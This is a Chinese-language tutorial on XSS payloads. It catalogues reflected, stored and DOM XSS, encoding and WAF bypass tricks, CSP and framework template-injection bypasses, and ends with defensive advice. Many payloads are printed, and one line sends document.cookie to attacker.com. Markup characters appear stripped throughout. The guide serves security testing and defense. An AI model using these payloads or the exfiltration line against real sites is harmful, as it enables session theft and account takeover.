1. 项目概述为什么我们需要一份“终极指南”在Web安全领域跨站脚本攻击XSS就像是一个经久不衰的“老朋友”。从业这么多年我见过太多开发者在部署了WAF、做了输入过滤后就以为高枕无忧结果在渗透测试中还是被各种奇技淫巧绕得晕头转向。问题出在哪根本原因在于防御者往往只了解教科书上的“标准攻击”而对攻击者手中那本不断更新的“Payload手册”知之甚少。这份《XSS载荷终极指南》的目的就是彻底填平这道认知鸿沟。它不仅仅是一份Payload列表更是一本关于“攻击者思维”的实战手册。通过剖析200多个经过实战检验的Payload我们不仅要看它们长什么样更要深入理解每一个变形、每一次编码、每一种上下文跳转背后的设计逻辑和绕过意图。这对于安全工程师、渗透测试人员乃至每一位后端和前端开发者都至关重要——只有知道矛有多锋利才知道如何铸就更坚固的盾。2. XSS攻击核心原理与载荷分类体系在深入Payload之前我们必须统一认知基础。XSS的本质是“数据被误执行为代码”。攻击者成功注入恶意脚本需要同时满足三个条件注入点Input Source、数据传递到敏感接收点Sink并且接收点所在的上下文没有进行恰当的净化Lack of Sanitization。Payload的设计全部是围绕如何满足或绕过对这三个环节的防护而展开的。2.1 基于攻击方式的传统三分法这是最基础的分类决定了Payload的“攻击生命周期”和“存储位置”。反射型XSSPayload“即用即弃”。它通常通过URL参数、搜索框、错误消息等渠道注入由服务器直接“反射”回用户的浏览器页面中执行。它的重点在于寻找未经验证的回显点。例如一个搜索功能将用户输入的关键词原样显示在结果页的h2搜索结果{user_input}/h2里这里就是典型的注入点。Payload的生命周期仅限于单次请求-响应。存储型XSSPayload“长期潜伏”。它被提交并保存到服务器端数据库、文件或缓存中如论坛帖子、用户评论、个人资料昵称。每当其他用户访问加载了该数据的页面时Payload就会被执行。它的危害性最大相当于在网站上埋下了一颗“地雷”。Payload设计的重点在于如何绕过提交时的过滤以及确保在多种渲染场景下都能被成功解析执行。DOM型XSSPayload“客户端自产自销”。整个攻击过程不经过服务器端交互。攻击载荷通过修改页面的DOM文档对象模型环境来触发。通常利用location.hash、document.referrer、window.name或客户端JavaScript对URL片段#之后的内容的不安全处理。例如一个页面使用eval(location.hash.substr(1))这样的代码那么访问example.com/page.html#alert(1)就会触发弹窗。这类XSS的防御完全依赖于前端JavaScript代码的安全性。2.2 基于Payload构造逻辑的实战分类法传统三分法有助于理解攻击场景但对于Payload构造和绕过而言按上下文和绕过目标分类更为实用。HTML上下文注入这是最常见的场景。Payload被注入到HTML标签之间或属性内部。标签间注入如div用户输入点/div 输入/divscriptalert(1)/script。属性值注入如input value用户输入点 目标是闭合引号和标签输入 onmouseoveralert(1)或 autofocus onfocusalert(1) //。JavaScript上下文注入Payload被注入到script标签块内或HTML事件处理程序中。字符串内注入如var user 用户输入点; 需要先闭合字符串和语句输入; alert(1);//。代码内注入如var id 用户输入点; 这里没有引号可以直接注入表达式如1;alert(1)。CSS上下文注入相对少见但某些富文本编辑器或样式自定义功能可能存在。如stylecolor: 用户输入点 可以尝试注入red; background: url(javascript:alert(1))现代浏览器已严格限制。URL上下文注入Payload作为URL的一部分通常与javascript:伪协议或data:协议结合。如a href用户输入点点击/a 输入javascript:alert(1)。理解你所在的上下文是选择正确Payload变形方式的第一步。在JavaScript字符串里使用HTML实体编码是无效的在HTML属性里试图用//注释掉后面的内容也需要看具体情况。3. 基础Payload构造与编码绕过技巧这是绕过基础防御如简单关键字黑名单、转义的必修课。核心思想是让Payload在传输和存储阶段“看起来无害”而在浏览器解析执行阶段“恢复原形”。3.1 常见HTML实体编码与混淆当服务器端或WAF仅仅对等字符进行简单转义或过滤时我们可以利用浏览器强大的解码能力。十进制/十六进制实体编码浏览器在解析HTML文本和属性值时会主动解码这些实体。scriptalert(1)/script可以编码为十进制#60;#115;#99;#114;#105;#112;#116;#62;#97;#108;#101;#114;#116;#40;#49;#41;#60;#47;#115;#99;#114;#105;#112;#116;#62;十六进制#x3c;#x73;#x63;#x72;#x69;#x70;#x74;#x3e;#x61;#x6c;#x65;#x72;#x74;#x28;#x31;#x29;#x3c;#x2f;#x73;#x63;#x72;#x69;#x70;#x74;#x3e;实战要点这种编码对大多数简单的服务端字符串匹配过滤非常有效。但要注意编码的完整性确保整个关键标签或事件都被编码。JavaScript Unicode转义序列在JavaScript上下文中字符串可以用\uXXXX形式表示。alert(1)可以写成\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029。甚至可以混合使用如\u0061lert(1)。实战要点适用于过滤了“alert”等关键字但未递归解码Unicode的场景。可以配合eval()或setTimeout使用如eval(\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029)。3.2 利用HTML/JS解析差异制造混淆浏览器的解析器比我们想象中“宽容”这给了我们绕过空间。标签属性中的换行与Tab在HTML中属性值可以用换行符或制表符隔开这在绕过对on事件的简单空格检测时有用。img srcx onerror\r\n\r\nalert(1)img srcx on\terror\t\talert(1)非常规事件处理器与标签除了常见的onerroronloadonclick 还有很多生僻但可用的处理器。svg/onloadalert(1)SVG标签内联事件body onpageshowalert(1)input autofocus onfocusalert(1)利用autofocus属性自动触发onfocusdetails open ontogglealert(1)details标签展开时触发无括号、无空格、无引号调用当括号、空格、引号被过滤时。反引号代替字符串引号alert1ES6模板字符串1作为参数传入。throw语句配合onerrorscriptonerroralert;throw 1/script将alert函数赋值给全局onerror然后throw一个错误触发它。利用location或namescriptalert1/script有时需要配合特定的解析环境。注意这些技巧的成功率高度依赖于具体的过滤规则和浏览器版本。在实战中需要采用“模糊测试”的思路系统地尝试各种变体。4. 高级绕过技术对抗WAF与复杂过滤机制当目标部署了Web应用防火墙WAF或实现了多层、递归的过滤规则时我们需要更精巧的组合技。4.1 拆分与组合Fragmentation Concatenation核心思想是将危险的关键字或符号拆散利用JavaScript或HTML的语法特性在运行时重新组合。JavaScript字符串拼接过滤了alert试试window[‘al’’ert’](1)过滤了document.cookie试试document[‘coo’’kie’]利用数组join方法[‘al’ ‘ert’].join(‘’)(1)利用String.fromCharCode动态生成eval(String.fromCharCode(97 108 101 114 116 40 49 41))HTML标签拆分绕过某些WAF基于正则表达式匹配完整的标签拆开它们可能有效。scrscriptiptalert(1)/scr/scriptipt假设过滤函数只移除第一对script留下scriptalert(1)/scriptimg src”x” onerror”aler””t(1)”事件处理程序内的代码拼接4.2 利用解析优先级与编码嵌套这是更高级的技巧利用了服务器端过滤、解码顺序与浏览器解码顺序的不一致。多重编码假设服务器逻辑是先解码HTML实体再执行过滤最后输出。原始Payloadscriptalert(1)/script第一次URL编码用于传输%3Cscript%3Ealert%281%29%3C%2Fscript%3E将上一步结果再进行HTML实体编码欺骗过滤器lt;scriptgt;alertamp;#40;1amp;#41;lt;/scriptgt;如果服务器先解码HTML实体得到第2步结果但过滤逻辑却只识别明文script那么过滤就会失效。最终浏览器收到的是第2步的URL编码字符串并会对其进行解码执行。JavaScript与HTML编码混合Payloadimg srcx onerroralert(1)将alert(1)进行JavaScript Unicode编码\u0061\u006c\u0065\u0072\u0074(1)将整个onerror属性值再进行HTML编码onerror#x5c;#x75;#x30;#x30;#x36;#x31;#x5c;#x75;#x30;#x30;#x36;#x63;#x5c;#x75;#x30;#x30;#x36;#x35;#x5c;#x75;#x30;#x30;#x37;#x32;#x5c;#x75;#x30;#x30;#x37;#x34;(1)服务器可能只识别或过滤了明文的alert但解码后浏览器在JavaScript上下文中会正确解析Unicode序列。4.3 借助外部资源与协议Protocol Resource Bypass当内联事件和script标签被完全封死时目光要转向外部。data:协议这是一个强大的自包含协议可以用来承载HTML或JavaScript代码。直接执行JavaScriptobject datadata:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0PgBase64编码的scriptalert(1)/script加载为HTML并执行内联脚本iframe srcdata:text/html,scriptalert(1)/script/iframe实战要点data:协议可能被CSP内容安全策略限制但在没有CSP或策略较宽松的环境中非常有效。javascript:伪协议主要用于a href、iframe src、location赋值等场景。a hrefjavascript:alert(1)点击/a绕过对javascript:关键词的过滤a hrefjava#x73;cript:alert(1)点击/a利用HTML实体编码在URL中解码的特性。SVG向量图形SVG文件本质是XML可以内嵌JavaScript且某些上传点可能允许SVG格式作为图片。svg xmlnshttp://www.w3.org/2000/svg onloadalert(1) /svg将上述内容保存为.svg文件上传并在页面中引用该图片当图片加载时即可触发。5. 针对现代前端框架与CSP的专项绕过现代Web应用大量使用Vue.js、React、Angular等框架并普遍部署CSP这要求我们的Payload库必须与时俱进。5.1 客户端模板注入Client-Side Template Injection在Vue.js或Angular等使用{{}}或类似语法的框架中如果用户输入被直接当作模板解析就会导致XSS。Vue.js在Vue 2中{{constructor.constructor(‘alert(1)’)()}}可以执行代码。这是因为在模板中能够访问组件的上下文包括全局对象。AngularJS (1.x)这是重灾区沙箱逃逸技术很多。经典的Payload如{{$on.constructor(‘alert(1)’)()}}或利用$eval。但注意Angular 1.x之后的版本沙箱已被移除许多技巧已失效但对于遗留系统依然威胁巨大。实战要点这类攻击的关键在于识别出应用使用了哪个前端框架及其版本。通过观察网络请求中的JavaScript文件或HTML中的ng-*、v-*等属性可以判断。5.2. 内容安全策略CSP绕过策略CSP通过白名单机制限制资源加载和脚本执行是防御XSS的利器。但配置不当的CSP反而会带来新的攻击面。script-src ‘self’的绕过如果CSP允许加载同域脚本。寻找可控的JSONP端点许多老式API提供JSONP支持回调函数名如callbackxxx可能可控。如果该端点在同域且返回内容类型为application/javascript攻击者可以构造script src/api/data?callbackalert(1)///script 服务器返回alert(1)//({...data...})从而执行代码。上传恶意JS文件如果存在一个同域的上传点且允许上传.js文件或能将内容类型设置为JS的文本文件并知道其访问路径就可以通过script src”/uploads/malicious.js”来加载。script-src ‘unsafe-inline’如果策略中包含了这个那么之前讨论的所有内联事件处理器Payload几乎都复活了。这是一个非常危险的配置。script-src ‘nonce-xxx’或‘sha256-xxx’的潜在问题Nonce一次性随机数和Hash是更安全的策略。但绕过依然存在可能Nonce窃取/预测如果Nonce值生成不够随机或者页面上存在其他方式可以泄露Nonce值例如通过CSS选择器属性探测攻击者可能伪造。通过样式表注入如果style-src指令配置较松可能通过CSS的background-url或import触发有限的信息泄露或结合其他漏洞。利用default-src或缺失的指令如果CSP没有明确设置object-src或base-uri它们可能会回退到default-src或甚至允许任何来源*。object-src滥用object data”javascript:alert(1)”或通过embed、applet标签。base-uri滥用如果可控base标签的href属性可以劫持页面内所有相对URL将脚本请求导向恶意域名。实操心得面对CSP最好的方法就是仔细阅读其策略字符串寻找最宽松的那个指令。一个脆弱的指令足以瓦解整个防御体系。使用浏览器的开发者工具Console可以清晰地看到CSP违规报告这是分析突破口的起点。6. 实战Payload库剖析与场景化应用理论说再多不如看实战。下面我将分类列举一些经典和新型的Payload并解释其适用场景和绕过目标。请注意这些Payload仅用于授权测试和安全研究。6.1 通用探测与基础弹窗Payload这些用于快速确认注入点的存在和上下文。基础探测“img srcx onerrorconfirm(1)– 闭合标签触发图片错误事件。‘-alert(1)-‘– 在JavaScript字符串上下文中用于快速测试。/scriptscriptalert(1)/script– 尝试闭合已有的script标签。无交互探测用于盲打XSS“img srchttp://your-collaborator-domain“script srchttp://your-collaborator-domain/script.js/script目的是让目标向你的服务器发起请求从而证明脚本执行即使没有弹窗。6.2 属性上下文绕过Payload假设输入点在一个HTML标签的属性值内如input value”INPUT”。闭合引号与标签“scriptalert(1)/script– 最基础。“ autofocus onfocusalert(1) //– 利用autofocus自动获得焦点触发onfocus//注释掉后面的引号。“ onmouseoveralert(1) x”– 添加一个无效属性x来“吃掉”后续的引号。不闭合引号当引号被转义时如果“被转义为quot;尝试onmouseoveralert(1)注意开头有个空格。这依赖于属性值可以不用引号括起的HTML特性。事件处理器黑名单绕过过滤了onerroronload试试svg/onloadalert(1)body onpageshowalert(1)input onbluralert(1) autofocusinput autofocus第一个输入框获得焦点后点击第二个使其失去焦点onblur。6.3 JavaScript上下文绕过Payload输入点在script标签内如var message ‘INPUT’;。字符串内注入’; alert(1);//– 闭合字符串和语句并注释后续代码。\’; alert(1);//– 如果转义了单引号‘为\’则用反斜杠转义掉转义符本身使原单引号生效。代码内注入1; alert(1)– 直接作为表达式的一部分。alert1“ – 利用反引号调用函数。 alert(1) 0– 如果输入点在数组或参数列表中。利用JavaScript解析器特性alert1“ – 如前所述。(alert)(1)– 用括号包裹函数名。window[‘alert’](1)– 使用方括号表示法访问属性。6.4 针对特定过滤器的组合Payload假设一个过滤器依次执行1. 删除script标签2. 将alert替换为空。Payloadscrscriptiptalalertert(1)/scr/scriptipt过程过滤器删除script字符串变为iptalalertert(1)/ipt。过滤器将alert替换为空字符串变为iptalert(1)/ipt。最终浏览器解析到ipt这个不存在的标签会忽略但其中的alert(1)在HTML文本上下文中不会执行。这个例子可能不成功它说明了思路但实际需要根据上下文调整。一个更可靠的例子是Payloadimg srcx onerroralalertert(1)过程过滤器将alert替换为空后得到img srcx onerroralert(1) 成功执行。6.5 存储型XSS的长效Payload构思存储型XSS的Payload需要考虑持久性和隐蔽性。窃取Cookiescriptfetch(‘http://attacker.com/steal?c’document.cookie)/script键盘记录器注入一个监听onkeypress事件的脚本将按键发送到攻击者服务器。钓鱼覆盖使用div绝对定位和样式在页面上伪造一个登录框诱骗用户输入凭证。结合CSRF注入的脚本可以自动发起修改密码、转账等敏感操作的POST请求因为请求会携带用户的合法Cookie。隐蔽触发使用onmouseover、onfocus等需要用户交互的事件或者设置setTimeout延迟执行避免页面一加载就触发增加被发现难度。7. 防御视角从Payload剖析中学习如何构建真正安全的防线分析了这么多攻击手法最终目的是为了防御。作为开发者或安全工程师我们应该如何做1. 严格的输入验证与输出编码输入验证在数据入口处根据预期的数据类型如数字、邮箱、特定格式字符串进行严格的白名单验证。拒绝一切不符合格式的数据。输出编码这是最核心的防御措施。在将数据输出到不同上下文时使用对应的编码函数。HTML正文使用HTML实体编码如 - amp;, - lt;。HTML属性同上并且始终用引号单或双将属性值括起来。JavaScript使用JavaScript编码将数据放入引号中作为字符串字面量处理或使用JSON.stringify。URL进行URL编码。CSS进行CSS编码。现代框架使用Vue、React等框架时务必使用其提供的模板语法如{{ }}、v-bind或安全API它们默认会进行编码。绝对不要使用v-html或dangerouslySetInnerHTML来渲染不可信数据除非你确信数据已安全。2. 实施严格的内容安全策略CSP摒弃‘unsafe-inline’和‘unsafe-eval’。使用nonce-或hash-来允许特定的内联脚本。将default-src设置为‘none’然后按需开启各指令script-srcstyle-srcimg-src等的白名单。定期审计和收紧CSP策略。3. 使用安全的开发库与框架避免使用已知不安全的库如老版本的jQuery某些方法有XSS风险或未维护的富文本编辑器。对于富文本编辑如用户评论支持富文本使用经过严格安全审计的库如DOMPurify并在服务端进行清理白名单标签和属性。4. 启用其他安全HTTP头X-Content-Type-Options: nosniff防止浏览器MIME类型嗅探将非JS文件当作JS执行。X-Frame-Options: DENY或Content-Security-Policy: frame-ancestors ‘none’防止点击劫持间接降低某些XSS的利用效果。HttpOnlyCookie标志确保敏感Cookie无法通过JavaScript的document.cookie访问即使XSS成功攻击者也无法直接窃取会话。5. 自动化测试与代码审计将XSS漏洞扫描如使用Burp Suite OWASP ZAP 或商业DAST工具纳入CI/CD流程。对代码进行定期的安全审计特别是处理用户输入和输出的模块。对开发人员进行持续的安全编码培训。在我经历过的无数次渗透测试和代码审计中绝大多数XSS漏洞都源于“想当然”的安全感——要么是编码遗漏了某个输出点要么是编码规则存在缺陷如只编码了和却忘了和要么是过于信任前端框架或第三方库。防御XSS是一场持久战需要将安全思维融入到软件开发的每一个环节。这份Payload指南的价值就在于它像一面镜子让我们看清攻击者的所有可能路径从而更有针对性地加固我们自己的城池。